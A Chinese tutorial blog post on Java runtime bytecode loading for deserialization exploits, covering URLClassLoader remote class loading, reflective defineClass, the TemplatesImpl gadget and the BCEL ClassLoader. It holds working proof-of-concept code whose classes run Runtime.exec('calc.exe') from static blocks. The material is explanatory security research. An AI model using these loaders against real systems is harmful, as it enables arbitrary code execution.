关于java中动态加载字节码的多种方法

在反序列化漏洞中;经常会遇到TemplatesImplBCEL相关的代码,它们就是用来动态加载恶意字节码执行任意命令的;

以及理解这些机制也是理解内存马工作原理的基础;以及可以深入地理解Java类加载机制和JVM的灵活性

首先先说一个概念:什么是字节码;狭义上来说就是编译后生成的.class里的内容,这些是一些jvm指令集;

广义上来说:字节码是指任何能够被JVM恢复成一个类并加载在内存中执行的字节序列;

这包括:

1.标准的.class文件内容;

2.经过特殊处理或编码的字节序列(如BCEL格式);

3.运行时动态生成的字节码;

关键点:在于攻击者可以构造恶意的"广义字节码"让jvm加载执行,从而达到非预期效果;

工作流程:loadClass -> findClass -> defineClass(最终将字节码转换为Class对象)

下面用一张图解释整个流程

从流程中我们知道

loadClass 是加载的入口;作用加载类缓存,从父类中寻找类(也就说说如果类缓存中没有类,就会使用双亲委派机制让父类加载器优先加载类)如果父类加载器的缓存中也没有类,就会调用findClass寻找类;

findClass:作用是从URL路径(本地路径,JAR包,远程服务器等)中寻找类,并加载类的字节码,然后交给defineClass

defineClass:处理字节码,将字节码转换成类

1.利用URLClassLoader加载远程class文件

原理:java的默认类加载器(APPClassLoader)的父类是URLClassLoader,他可以从指定的URL路径(本地路径,JAR包,远程服务器等)加载类,

攻击向量:攻击者可以控制URLClassLoader加载的基础路径(URL[])为一个攻击者可控的HTTP服务器,那么就能让目标JVM加载并执行远程服务器上的恶意.class文件;常见攻击方式如 jndi注入,rmi加载等

利用条件:

1依赖协议:如http,https,file,ftp,jar,jndi,rmi协议

2.目标出网

3,.加载的是标准的、完整的.class文件

测试

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader; public class HelloClassLoader {
public static void main(String[] args) {
try {
URL[] urls = new URL[] { new URL("http://localhost:8080/") };
URLClassLoader cl = new URLClassLoader(urls);
Class<?> cls = cl.loadClass("Hello");
cls.newInstance();
} catch (MalformedURLException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (InstantiationException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
}
//Hello.java 恶意类
import java.lang.reflect.Method; public class Hello {
public Hello() {
System.out.println("Constructor: Hello World!");
}
static {
System.out.println("Static block: Hello World!");
try {
Class clazz = Class.forName("java.lang.Runtime");
Method method = clazz.getMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(clazz);
runtime.exec("calc.exe");
}catch (Exception e) {
e.printStackTrace();
}
}
}

可以看到已经加载了Hello.class的"jvm字节码";注意这里需要把要执行的代码放在静态代码块或者构造函数中;

放在静态代码:"类初始化"会加载static中的内容(换句话说就是程序执行前加载

放在构造函数:因为代码中调用了无参构造cls.newInstance();不放在静态代码块的话必须放到无参构造函数中;

2.利用ClassLoader.defineClass()直接加载字节码;

原理:类加载的核心最终是defineClass这个protected native方法。他负责将原始的字节数组(byte[])转换成JVM内部的Class对象。

流程位置:在 findClass 位置,findClass方法通常会调用defineClass来处理找到的字节码;如果我们可以直接控制defineClass;不就可以直接加载字节码了吗?

但有个问题是这个方法是protected属性,怎么办,无妨可以通过反射突破访问限制(setAccessible(true))

攻击向量:通过反射强行调用definClass

代码

import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths; public class defineClasstest { public static void main(String[] args) throws Exception {
ClassLoader cl= ClassLoader.getSystemClassLoader();
Method defineClass= ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
//反射获取defineClass方法
defineClass.setAccessible(true);//突破访问限制
byte[] code= Files.readAllBytes(Paths.get("Hello.class"));//从文件中加载,加载恶意字节码
Class<?> cls=(Class<?>) defineClass.invoke(cl,"Hello",code,0,code.length);
//调用defineClass方法加载code
cls.newInstance(); }
}

利用条件:defineClass只负责加载和链接类,不会执行类的初始化(静态块、静态变量初始化)或构造函数。要执行代码,必须显式调用newInstance()或调用静态方法,进行"代码初始化"才可以执行,。因此要进行远程代码执行;需要想办法调用目标机器的构造函数才可以;

在实际场景中;直接反射调用defineClass比较少见,因为需要先有反射能力,且容易受安全管理器限制;但它是最底层的基石。

更常见的是利用本身调用了defineClass的、且调用方式可被外部控制的类。这就是TemplatesImpl的攻击链出现的原因

3.利用TemplatesImpl加载字节码

虽然defineClass方法不能直接利用,但还是有一些外部类调用了这个方法;经典就是TemplatesImpl类

原理:

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类内部有一个 TransletClassLoader

TransletClassLoader 重写defineClass方法,并且没有显式声明作用域。在Java中,这意味着它是default(包私有)作用域。

关键的TemplatesImpl方法(newTransformer(), getOutputProperties())是public的。它们最终会调用到TransletClassLoader.defineClass()来加载存储在TemplatesImpl对象内部的字节码(_bytecodes属性)。

可以看到在TemplatesImpl的加载器TransletClassLoader中重写defineClass方法;没有显示声明作用域这意味着它是default;可以被外类调用

    static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions; TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
} TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
} public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
} /**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}

我们回溯回溯一下调用链

attacker calls -> TemplatesImpl.getOutputProperties() [public]
-> TemplatesImpl.newTransformer() [public]
-> TemplatesImpl.getTransletInstance() [private]
-> TemplatesImpl.defineTransletClasses() [private]
-> (new TransletClassLoader()).defineClass(byte[] b) [default]

发现TemplatesImpl.newTransformer()和 TemplatesImpl.newTransformer() 他们的作用域是public可以被外部调用

构造TemplatesImpl.newTransformer()链的poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import sun.reflect.generics.reflectiveObjects.ParameterizedTypeImpl; import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths; public class TemplatesImpltest {
public static void main(String[] args) throws Exception { byte[] code= Files.readAllBytes(Paths.get("evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); templates.newTransformer(); } private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
}
}

但这里是不能直接运行的

原因是在代码defineTransletClasses()中存在一些安全限制,导致必须AbstractTranslet的子类,字节码才可以被正常加载

private void defineTransletClasses() throws TransformerConfigurationException {
// 加载字节码的代码] for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass(); // 关键检查点:必须是AbstractTranslet的子类
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
} else {
// 如果不是AbstractTranslet的子类,则抛出异常
throw new TransformerConfigurationException("Class is not a translet");
}
} // ... [后续处理] ...
}

因此需要对恶意类进行构造一下

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Method; public class evil extends AbstractTranslet {
public evil() {
System.out.println("Constructor: Hello World!");
} @Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static {
System.out.println("Static block: Hello World!");
try {
Class clazz = Class.forName("java.lang.Runtime");
Method method = clazz.getMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(clazz);
runtime.exec("calc.exe");
}catch (Exception e) {
e.printStackTrace();
}
}
}

可以看到顺利执行了;

顺带一题,关于 TemplatesImpl加载恶意字节码在java反序列化的漏洞利用链中以及fastjson、.jackson的漏洞中,都曾出现过TemplatesImpl的身影;

4.利用BCEL ClassLoader加载字节码

备注

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为
被Apache Xalan所使用,而Apache Xalan又是ava内部对于刊AXP的实现,所以BCEL也被包含在了JDK的
原生库中。
关于BCEL的详细介绍,请阅读p牛写的另一篇文章《BCEL ClassLoader去哪了》,
建议阅读完这篇文章
再来阅读本文。

原理:BCEL (Apache Commons BCEL) 提供了一套操作字节码的库。它定义了一种特殊的字符串格式来表示类(通常以$$BCEL$$开头),这种格式包含了原始字节码的编码

攻击向量:生成BCEL字节码字符串: 使用BCEL的Repository或Utility类将标准的.class文件字节码(byte[])转换成BCEL格式的特殊字符串。

Repository:用于将一个Java Class先转换成原生字节码,

Utility:用于将原生的字节码转换成BCL格式的字节码:

生成bcel字节码

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility; public class BCELtest {
public static void main(String[] args) throws Exception {
JavaClass clazz = Repository.lookupClass(evil.class);
String bcelcode=Utility.encode(clazz.getBytes(),true);
System.out.println(bcelcode); }
}

最后经过一些测试发现bcel的Classloader需要版本在6,7左右才可以解析;且恶意类有时候需要在版本冲突时依赖可能无法导入解析,就比如evil我导入了AbstractTranslet

导致

java.lang.NoClassDefFoundError:

com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet;因此考虑使用不依赖 AbstractTranslet 的版本

package org.com.cc6;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader; public class BCELtest {
public static void main(String[] args) throws Exception {
JavaClass clazz = Repository.lookupClass(EEvil.class); // 2. 转换为BCEL编码格式(必须添加前缀)
String bcelcode = "$$BCEL$$" + Utility.encode(clazz.getBytes(), true);
System.out.println( bcelcode); new ClassLoader().loadClass(bcelcode).newInstance();
// Class<?> clazz1 = loader.loadClass(bcelcode);
// clazz1.newInstance();
} }
//EEvil.java
package org.com.cc6; public class EEvil {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
}

参考

p牛知识星球->代码审计->java系列文章

p牛的《BCEL ClassLoader去哪了》:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

;

关于java中动态加载字节码的多种方法的更多相关文章

  1. Android动态加载字节码

    概述 面对App业务逻辑的频繁变更,如果每一次改变都对App进行一次升级,会降低App的用户体验,那么App进行模块化升级(这里与增量升级是不同的)是很好的解决方案,让用户在完全无感觉的情况下改变Ap ...

  2. Java安全之动态加载字节码

    Java字节码 简单说,Java字节码就是.class后缀的文件,里面存放Java虚拟机执行的指令. 由于Java是一门跨平台的编译型语言,所以可以适用于不同平台,不同CPU的计算机,开发者只需要将自 ...

  3. [转载] Java中动态加载jar文件和class文件

    转载自http://blog.csdn.net/mousebaby808/article/details/31788325 概述 诸如tomcat这样的服务器,在启动的时候会加载应用程序中lib目录下 ...

  4. 在VC中动态加载ODBC的方法

    在使用VC.VB.Delphi等高级语言编写数据库应用程序时,往往需要用户自己在控制面板中配置ODBC数据源.对于一般用户而言,配置ODBC数据源可能是一件比较困难的工作.而且,在实际应用中,用户往往 ...

  5. 某APK中使用了动态注册BroadcastReceiver,Launcher中动态加载此APK出现java.lang.SecurityException异常的解决方法

    在某APK中,通过如下方法动态注册了一个BroadcastReceiver,代码参考如下: @Override protected void onAttachedToWindow() { super. ...

  6. 透过现象看本质:Java类动态加载和热替换

    摘要:本文主要介绍类加载器.自定义类加载器及类的加载和卸载等内容,并举例介绍了Java类的热替换. 最近,遇到了两个和Java类的加载和卸载相关的问题: 1) 是一道关于Java的判断题:一个类被首次 ...

  7. 在ASP.NET中动态加载内容(用户控件和模板)

    在ASP.NET中动态加载内容(用户控件和模板) 要点: 1. 使用Page.ParseControl 2. 使用base.LoadControl 第一部分:加载模板 下 面是一个模板“<tab ...

  8. 在MVC应用程序中动态加载PartialView

    原文:在MVC应用程序中动态加载PartialView 有时候,我们不太想把PartialView直接Render在Html上,而是使用jQuery来动态加载,或是某一个事件来加载.为了演示与做好这个 ...

  9. WPF中动态加载XAML中的控件

    原文:WPF中动态加载XAML中的控件 using System; using System.Collections.Generic; using System.Linq; using System. ...

  10. vue中动态加载img

    想实现动态加载图片,当点击“首页”时,图片变色 代码如下: <mt-tabbar v-model="selected" fixed class="border-1p ...

随机推荐

  1. 三分钟构建高性能WebSocket服务 | 超优雅的Springboot整合Netty方案

    前言 每当使用SpringBoot进行Weboscket开发时,最容易想到的就是spring-boot-starter-websocket(或spring-websocket).它可以让我们使用注解, ...

  2. Netty基础—5.Netty的使用简介

    大纲 1.Netty服务端的启动流程 2.服务端IO事件的处理类 3.Netty客户端的启动流程 4.客户端IO事件的处理类 5.启动Netty服务端和客户端的方法说明 6.Netty服务端和客户端使 ...

  3. 修改npm下载地址为淘宝镜像

    修改 npm 下载地址 修改为国内淘宝镜像 # 修改为新淘宝镜像(推荐) npm config set registry https://registry.npmmirror.com/ # 旧 npm ...

  4. 如何编写Kubernetes的YAML(一)

    什么是API对象 作为一个集群操作系统,Kubernetes 归纳总结了 Google 多年的经验,在理论层面抽象出了很多个概念,用来描述系统的管理运维工作,这些概念就叫做"API 对象&q ...

  5. 选择排序(LOW)

    博客地址:https://www.cnblogs.com/zylyehuo/ # _*_coding:utf-8_*_ def select_sort(li): for i in range(len( ...

  6. Python 潮流周刊#94:如何解决 FastAPI 的大文件传输问题?(摘要)

    本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章.教程.开源项目.软件工具.播客和视频.热门话题等内容.愿景:帮助所有读者精进 Python 技术,并增长职 ...

  7. PHP 读取csv中的指定某些列的值

    封装一个方法,用于从CSV文件中读取指定的某些列的值时,可以使用以下示例代码: <?php class CSVReader { private $filename; private $delim ...

  8. 【数据结构与算法】第K大的元素:三路快速排序算法思路

    第K大的元素:三路快速排序算法思路 Java https://leetcode-cn.com/problems/kth-largest-element-in-an-array/solution/di- ...

  9. 思绪碎片:一个INFP的自我对话

    ## 关于存在与意义 > "我写一些东西,不是为了让别人看见,而是为了未来的我." -- 阮一峰 - 未知带来的心慌持续蔓延 - **根本症结**:自身的弱小,无法坦然面对生 ...

  10. Web前端入门第 33 问:CSS 元素外观常用属性(边框、阴影、轮廓、透明度)

    background 作为元素外观里的重点功臣介绍完毕,本文再一览其他常用的外观属性. 本文示例中,盒子基础样式: .box { font-size: 20px; margin: 20px; padd ...